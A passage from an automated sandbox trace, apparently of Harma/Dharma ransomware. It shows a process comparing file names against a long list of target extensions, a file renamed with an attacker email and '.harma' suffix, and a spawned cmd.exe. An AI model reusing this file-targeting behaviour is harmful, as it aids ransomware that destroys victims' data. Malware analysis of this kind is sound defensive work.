(lpString1=".cs", lpString2="ini") returned -1 [0174.722] lstrlenW (lpString=".css") returned 4 [0174.722] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".csv") returned 4 [0174.722] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".cub") returned 4 [0174.722] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".dae") returned 4 [0174.722] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".dat") returned 4 [0174.722] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".db") returned 3 [0174.722] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0174.722] lstrlenW (lpString=".dbf") returned 4 [0174.722] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0174.722] lstrlenW (lpString=".dbx") returned 4 [0174.722] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dc3") returned 4 [0174.723] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dcm") returned 4 [0174.723] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dcr") returned 4 [0174.723] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".der") returned 4 [0174.723] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dib") returned 4 [0174.723] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dic") returned 4 [0174.723] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".dif") returned 4 [0174.723] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".divx") returned 5 [0174.723] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0174.723] lstrlenW (lpString=".djvu") returned 5 [0174.723] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0174.723] lstrlenW (lpString=".dng") returned 4 [0174.723] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".doc") returned 4 [0174.723] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0174.723] lstrlenW (lpString=".docm") returned 5 [0174.723] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0174.723] lstrlenW (lpString=".docx") returned 5 [0174.723] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0174.723] lstrlenW (lpString=".dot") returned 4 [0174.724] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dotm") returned 5 [0174.724] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0174.724] lstrlenW (lpString=".dotx") returned 5 [0174.724] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0174.724] lstrlenW (lpString=".dpx") returned 4 [0174.724] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dqy") returned 4 [0174.724] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dsn") returned 4 [0174.724] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dt") returned 3 [0174.724] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0174.724] lstrlenW (lpString=".dtd") returned 4 [0174.724] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dwg") returned 4 [0174.724] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dwt") returned 4 [0174.724] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".dx") returned 3 [0174.724] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0174.724] lstrlenW (lpString=".dxf") returned 4 [0174.724] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".edml") returned 5 [0174.724] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0174.724] lstrlenW (lpString=".efd") returned 4 [0174.724] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".elf") returned 4 [0174.724] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".emf") returned 4 [0174.724] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".emz") returned 4 [0174.724] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0174.724] lstrlenW (lpString=".epf") returned 4 [0174.725] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".eps") returned 4 [0174.725] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".epsf") returned 5 [0174.725] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0174.725] lstrlenW (lpString=".epsp") returned 5 [0174.725] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0174.725] lstrlenW (lpString=".erf") returned 4 [0174.725] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".exr") returned 4 [0174.725] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".f4v") returned 4 [0174.725] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".fido") returned 5 [0174.725] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0174.725] lstrlenW (lpString=".flm") returned 4 [0174.725] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".flv") returned 4 [0174.725] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".frm") returned 4 [0174.725] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".fxg") returned 4 [0174.725] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".geo") returned 4 [0174.725] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".gif") returned 4 [0174.725] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".grs") returned 4 [0174.725] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0174.725] lstrlenW (lpString=".gz") returned 3 [0174.725] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0174.725] lstrlenW (lpString=".h") returned 2 [0174.725] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0174.725] lstrlenW (lpString=".hdr") returned 4 [0174.726] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".hpp") returned 4 [0174.726] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".hta") returned 4 [0174.726] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".htc") returned 4 [0174.726] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".htm") returned 4 [0174.726] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".html") returned 5 [0174.726] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0174.726] lstrlenW (lpString=".icb") returned 4 [0174.726] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".ics") returned 4 [0174.726] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".iff") returned 4 [0174.726] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".inc") returned 4 [0174.726] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0174.726] lstrlenW (lpString=".indd") returned 5 [0174.726] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0174.726] lstrlenW (lpString=".ini") returned 4 [0174.726] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0174.726] FindNextFileW (in: hFindFile=0x40f0050, lpFindFileData=0x3c9f808 | out: lpFindFileData=0x3c9f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcd0f6270, ftCreationTime.dwHighDateTime=0x1d58aa8, ftLastAccessTime.dwLowDateTime=0xcd0f6270, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcd11c3d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", cAlternateFileName="DESKTO~1.HAR")) returned 1 [0174.726] lstrlenW (lpString="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma") returned 52 [0174.726] lstrlenW (lpString=".1cd") returned 4 [0174.726] lstrcmpiW (lpString1=".1cd", lpString2="arma") returned -1 [0174.726] lstrlenW (lpString=".3ds") returned 4 [0174.726] lstrcmpiW (lpString1=".3ds", lpString2="arma") returned -1 [0174.726] lstrlenW (lpString=".3fr") returned 4 [0174.726] lstrcmpiW (lpString1=".3fr", lpString2="arma") returned -1 [0174.726] lstrlenW (lpString=".3g2") returned 4 [0174.726] lstrcmpiW (lpString1=".3g2", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".3gp") returned 4 [0174.727] lstrcmpiW (lpString1=".3gp", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".7z") returned 3 [0174.727] lstrcmpiW (lpString1=".7z", lpString2="rma") returned -1 [0174.727] lstrlenW (lpString=".accda") returned 6 [0174.727] lstrcmpiW (lpString1=".accda", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".accdb") returned 6 [0174.727] lstrcmpiW (lpString1=".accdb", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".accdc") returned 6 [0174.727] lstrcmpiW (lpString1=".accdc", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".accde") returned 6 [0174.727] lstrcmpiW (lpString1=".accde", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".accdt") returned 6 [0174.727] lstrcmpiW (lpString1=".accdt", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".accdw") returned 6 [0174.727] lstrcmpiW (lpString1=".accdw", lpString2=".harma") returned -1 [0174.727] lstrlenW (lpString=".adb") returned 4 [0174.727] lstrcmpiW (lpString1=".adb", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".adp") returned 4 [0174.727] lstrcmpiW (lpString1=".adp", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai") returned 3 [0174.727] lstrcmpiW (lpString1=".ai", lpString2="rma") returned -1 [0174.727] lstrlenW (lpString=".ai3") returned 4 [0174.727] lstrcmpiW (lpString1=".ai3", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai4") returned 4 [0174.727] lstrcmpiW (lpString1=".ai4", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai5") returned 4 [0174.727] lstrcmpiW (lpString1=".ai5", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai6") returned 4 [0174.727] lstrcmpiW (lpString1=".ai6", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai7") returned 4 [0174.727] lstrcmpiW (lpString1=".ai7", lpString2="arma") returned -1 [0174.727] lstrlenW (lpString=".ai8") returned 4 [0174.728] lstrcmpiW (lpString1=".ai8", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".anim") returned 5 [0174.728] lstrcmpiW (lpString1=".anim", lpString2="harma") returned -1 [0174.728] lstrlenW (lpString=".arw") returned 4 [0174.728] lstrcmpiW (lpString1=".arw", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".as") returned 3 [0174.728] lstrcmpiW (lpString1=".as", lpString2="rma") returned -1 [0174.728] lstrlenW (lpString=".asa") returned 4 [0174.728] lstrcmpiW (lpString1=".asa", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".asc") returned 4 [0174.728] lstrcmpiW (lpString1=".asc", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".ascx") returned 5 [0174.728] lstrcmpiW (lpString1=".ascx", lpString2="harma") returned -1 [0174.728] lstrlenW (lpString=".asm") returned 4 [0174.728] lstrcmpiW (lpString1=".asm", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".asmx") returned 5 [0174.728] lstrcmpiW (lpString1=".asmx", lpString2="harma") returned -1 [0174.728] lstrlenW (lpString=".asp") returned 4 [0174.728] lstrcmpiW (lpString1=".asp", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".aspx") returned 5 [0174.728] lstrcmpiW (lpString1=".aspx", lpString2="harma") returned -1 [0174.728] lstrlenW (lpString=".asr") returned 4 [0174.728] lstrcmpiW (lpString1=".asr", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".asx") returned 4 [0174.728] lstrcmpiW (lpString1=".asx", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".avi") returned 4 [0174.728] lstrcmpiW (lpString1=".avi", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".avs") returned 4 [0174.728] lstrcmpiW (lpString1=".avs", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".backup") returned 7 [0174.728] lstrcmpiW (lpString1=".backup", lpString2="].harma") returned -1 [0174.728] lstrlenW (lpString=".bak") returned 4 [0174.728] lstrcmpiW (lpString1=".bak", lpString2="arma") returned -1 [0174.728] lstrlenW (lpString=".bay") returned 4 [0174.729] lstrcmpiW (lpString1=".bay", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".bd") returned 3 [0174.729] lstrcmpiW (lpString1=".bd", lpString2="rma") returned -1 [0174.729] lstrlenW (lpString=".bin") returned 4 [0174.729] lstrcmpiW (lpString1=".bin", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".bmp") returned 4 [0174.729] lstrcmpiW (lpString1=".bmp", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".bz2") returned 4 [0174.729] lstrcmpiW (lpString1=".bz2", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".c") returned 2 [0174.729] lstrcmpiW (lpString1=".c", lpString2="ma") returned -1 [0174.729] lstrlenW (lpString=".cdr") returned 4 [0174.729] lstrcmpiW (lpString1=".cdr", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".cer") returned 4 [0174.729] lstrcmpiW (lpString1=".cer", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".cf") returned 3 [0174.729] lstrcmpiW (lpString1=".cf", lpString2="rma") returned -1 [0174.729] lstrlenW (lpString=".cfc") returned 4 [0174.729] lstrcmpiW (lpString1=".cfc", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".cfm") returned 4 [0174.729] lstrcmpiW (lpString1=".cfm", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".cfml") returned 5 [0174.729] lstrcmpiW (lpString1=".cfml", lpString2="harma") returned -1 [0174.729] lstrlenW (lpString=".cfu") returned 4 [0174.729] lstrcmpiW (lpString1=".cfu", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".chm") returned 4 [0174.729] lstrcmpiW (lpString1=".chm", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".cin") returned 4 [0174.729] lstrcmpiW (lpString1=".cin", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".class") returned 6 [0174.729] lstrcmpiW (lpString1=".class", lpString2=".harma") returned -1 [0174.729] lstrlenW (lpString=".clx") returned 4 [0174.729] lstrcmpiW (lpString1=".clx", lpString2="arma") returned -1 [0174.729] lstrlenW (lpString=".config") returned 7 [0174.730] lstrcmpiW (lpString1=".config", lpString2="].harma") returned -1 [0174.730] lstrlenW (lpString=".cpp") returned 4 [0174.730] lstrcmpiW (lpString1=".cpp", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".cr2") returned 4 [0174.730] lstrcmpiW (lpString1=".cr2", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".crt") returned 4 [0174.730] lstrcmpiW (lpString1=".crt", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".crw") returned 4 [0174.730] lstrcmpiW (lpString1=".crw", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".cs") returned 3 [0174.730] lstrcmpiW (lpString1=".cs", lpString2="rma") returned -1 [0174.730] lstrlenW (lpString=".css") returned 4 [0174.730] lstrcmpiW (lpString1=".css", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".csv") returned 4 [0174.730] lstrcmpiW (lpString1=".csv", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".cub") returned 4 [0174.730] lstrcmpiW (lpString1=".cub", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dae") returned 4 [0174.730] lstrcmpiW (lpString1=".dae", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dat") returned 4 [0174.730] lstrcmpiW (lpString1=".dat", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".db") returned 3 [0174.730] lstrcmpiW (lpString1=".db", lpString2="rma") returned -1 [0174.730] lstrlenW (lpString=".dbf") returned 4 [0174.730] lstrcmpiW (lpString1=".dbf", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dbx") returned 4 [0174.730] lstrcmpiW (lpString1=".dbx", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dc3") returned 4 [0174.730] lstrcmpiW (lpString1=".dc3", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dcm") returned 4 [0174.730] lstrcmpiW (lpString1=".dcm", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".dcr") returned 4 [0174.730] lstrcmpiW (lpString1=".dcr", lpString2="arma") returned -1 [0174.730] lstrlenW (lpString=".der") returned 4 [0174.730] lstrcmpiW (lpString1=".der", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dib") returned 4 [0174.731] lstrcmpiW (lpString1=".dib", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dic") returned 4 [0174.731] lstrcmpiW (lpString1=".dic", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dif") returned 4 [0174.731] lstrcmpiW (lpString1=".dif", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".divx") returned 5 [0174.731] lstrcmpiW (lpString1=".divx", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".djvu") returned 5 [0174.731] lstrcmpiW (lpString1=".djvu", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".dng") returned 4 [0174.731] lstrcmpiW (lpString1=".dng", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".doc") returned 4 [0174.731] lstrcmpiW (lpString1=".doc", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".docm") returned 5 [0174.731] lstrcmpiW (lpString1=".docm", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".docx") returned 5 [0174.731] lstrcmpiW (lpString1=".docx", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".dot") returned 4 [0174.731] lstrcmpiW (lpString1=".dot", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dotm") returned 5 [0174.731] lstrcmpiW (lpString1=".dotm", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".dotx") returned 5 [0174.731] lstrcmpiW (lpString1=".dotx", lpString2="harma") returned -1 [0174.731] lstrlenW (lpString=".dpx") returned 4 [0174.731] lstrcmpiW (lpString1=".dpx", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dqy") returned 4 [0174.731] lstrcmpiW (lpString1=".dqy", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dsn") returned 4 [0174.731] lstrcmpiW (lpString1=".dsn", lpString2="arma") returned -1 [0174.731] lstrlenW (lpString=".dt") returned 3 [0174.731] lstrcmpiW (lpString1=".dt", lpString2="rma") returned -1 [0174.731] lstrlenW (lpString=".dtd") returned 4 [0174.731] lstrcmpiW (lpString1=".dtd", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".dwg") returned 4 [0174.732] lstrcmpiW (lpString1=".dwg", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".dwt") returned 4 [0174.732] lstrcmpiW (lpString1=".dwt", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".dx") returned 3 [0174.732] lstrcmpiW (lpString1=".dx", lpString2="rma") returned -1 [0174.732] lstrlenW (lpString=".dxf") returned 4 [0174.732] lstrcmpiW (lpString1=".dxf", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".edml") returned 5 [0174.732] lstrcmpiW (lpString1=".edml", lpString2="harma") returned -1 [0174.732] lstrlenW (lpString=".efd") returned 4 [0174.732] lstrcmpiW (lpString1=".efd", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".elf") returned 4 [0174.732] lstrcmpiW (lpString1=".elf", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".emf") returned 4 [0174.732] lstrcmpiW (lpString1=".emf", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".emz") returned 4 [0174.732] lstrcmpiW (lpString1=".emz", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".epf") returned 4 [0174.732] lstrcmpiW (lpString1=".epf", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".eps") returned 4 [0174.732] lstrcmpiW (lpString1=".eps", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".epsf") returned 5 [0174.732] lstrcmpiW (lpString1=".epsf", lpString2="harma") returned -1 [0174.732] lstrlenW (lpString=".epsp") returned 5 [0174.732] lstrcmpiW (lpString1=".epsp", lpString2="harma") returned -1 [0174.732] lstrlenW (lpString=".erf") returned 4 [0174.732] lstrcmpiW (lpString1=".erf", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".exr") returned 4 [0174.732] lstrcmpiW (lpString1=".exr", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".f4v") returned 4 [0174.732] lstrcmpiW (lpString1=".f4v", lpString2="arma") returned -1 [0174.732] lstrlenW (lpString=".fido") returned 5 [0174.732] lstrcmpiW (lpString1=".fido", lpString2="harma") returned -1 [0174.732] lstrlenW (lpString=".flm") returned 4 [0174.733] lstrcmpiW (lpString1=".flm", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".flv") returned 4 [0174.733] lstrcmpiW (lpString1=".flv", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".frm") returned 4 [0174.733] lstrcmpiW (lpString1=".frm", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".fxg") returned 4 [0174.733] lstrcmpiW (lpString1=".fxg", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".geo") returned 4 [0174.733] lstrcmpiW (lpString1=".geo", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".gif") returned 4 [0174.733] lstrcmpiW (lpString1=".gif", lpString2="arma") returned -1 [0174.733] lstrlenW (lpString=".grs") returned 4 [0174.733] lstrcmpiW (lpString1=".grs", lpString2="arma") returned -1 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x637c3000" os_pid = "0x4a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x7b0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0x5fc [0175.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fa60 | out: lpSystemTimeAsFileTime=0x25fa60*(dwLowDateTime=0x23909650, dwHighDateTime=0x1d58aa9)) [0175.815] GetCurrentProcessId () returned 0x4a0 [0175.816] GetCurrentThreadId () returned 0x5fc [0175.816] GetTickCount () returned 0x113b903 [0175.816] QueryPerformanceCounter (in: lpPerformanceCount=0x25fa68 | out: lpPerformanceCount=0x25fa68*=11513880066) returned 1 [0175.820] GetModuleHandleW (lpModuleName=0x0) returned 0x4a2c0000 [0175.820] __set_app_type (_Type=0x1) [0175.820] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2e7810) returned 0x0 [0175.820] __getmainargs (in: _Argc=0x4a30a608, _Argv=0x4a30a618, _Env=0x4a30a610, _DoWildCard=0, _StartInfo=0x4a2ee0f4 | out: _Argc=0x4a30a608, _Argv=0x4a30a618, _Env=0x4a30a610) returned 0 [0175.821] GetCurrentThreadId () returned 0x5fc [0175.821] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5fc) returned 0x3c [0175.821] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77420000 [0175.821] GetProcAddress (hModule=0x77420000, lpProcName="SetThreadUILanguage") returned 0x77436d40 [0175.821] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0175.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0175.821] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25f9f8 | out: phkResult=0x25f9f8*=0x0) returned 0x2 [0175.821] VirtualQuery (in: lpAddress=0x25f9e0, lpBuffer=0x25f960, dwLength=0x30 | out: lpBuffer=0x25f960*(BaseAddress=0x25f000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.821] VirtualQuery (in: lpAddress=0x160000, lpBuffer=0x25f960, dwLength=0x30 | out: lpBuffer=0x25f960*(BaseAddress=0x160000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.821] VirtualQuery (in: lpAddress=0x161000, lpBuffer=0x25f960, dwLength=0x30 | out: lpBuffer=0x25f960*(BaseAddress=0x161000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.821] VirtualQuery (in: lpAddress=0x164000, lpBuffer=0x25f960, dwLength=0x30 | out: lpBuffer=0x25f960*(BaseAddress=0x164000, AllocationBase=0x160000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0175.822] VirtualQuery (in: lpAddress=0x260000, lpBuffer=0x25f960, dwLength=0x30 | out: lpBuffer=0x25f960*(BaseAddress=0x260000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xf0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0175.822] GetConsoleOutputCP () returned 0x1b5 [0175.822] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a2fbfe0 | out: lpCPInfo=0x4a2fbfe0) returned 1 [0175.822] SetConsoleCtrlHandler (HandlerRoutine=0x4a2e3184, Add=1) returned 1 [0175.822] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.822] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0175.823] _get_osfhandle (_FileHandle=1) returned 0xf4 [0175.823] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a2ee194 | out: lpMode=0x4a2ee194) returned 0 [0175.823] _get_osfhandle (_FileHandle=0) returned 0xe8 [0175.823] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a2ee198 | out: lpMode=0x4a2ee198) returned 0 [0175.823] GetEnvironmentStringsW () returned 0x368a60* [0175.823] GetProcessHeap () returned 0x350000 [0175.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x3694f0 [0175.823] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0175.823] GetProcessHeap () returned 0x350000 [0175.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x8) returned 0x3688e0 [0175.823] GetEnvironmentStringsW () returned 0x368a60* [0175.823] GetProcessHeap () returned 0x350000 [0175.823] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa7c) returned 0x369f80 [0175.824] FreeEnvironmentStringsW (penv=0x368a60) returned 1 [0175.824] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", 